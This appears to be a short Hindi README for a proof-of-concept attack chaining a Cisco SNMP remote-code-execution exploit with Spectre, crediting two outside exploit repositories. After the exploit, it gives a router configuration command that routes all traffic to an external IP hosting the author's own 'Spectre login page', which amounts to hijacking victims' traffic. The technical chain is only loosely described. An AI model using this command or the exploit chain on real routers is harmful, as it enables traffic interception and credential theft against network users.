CiscoSpectreTakeover

PoC श्रृंखला शोषण जो हालिया Cisco SMP शोषण (CVE-2017-6736) का उपयोग करके Spectre (CVE-2017-5753 और CVE-2017-5715) में श्रृंखलित होता है।

श्रेय

Cisco RCE शोषण उपमॉड्यूल artkond द्वारा: https://github.com/artkond/cisco-snmp-rce

JS Spectre Chrome POC ascendr द्वारा: https://github.com/ascendr/spectre-chrome

Cisco 1841+2600 राउटर पर परीक्षण किया गया।

RCE शोषण चलाने के बाद। कॉन्फ़िगरेशन के रूप में, चलाएँ:

Router(config)> ip route 0.0.0.0 0.0.0.0 195.20.52.49

यह सभी ट्रैफ़िक को मेरे द्वारा बनाए गए Spectre लॉगिन पृष्ठ के माध्यम से जाने के लिए बाध्य करेगा। बाद में मैं एक बेहतर संस्करण जोड़ूँगा जो वास्तव में वेबसाइटों पर जाने को संबोधित करता है।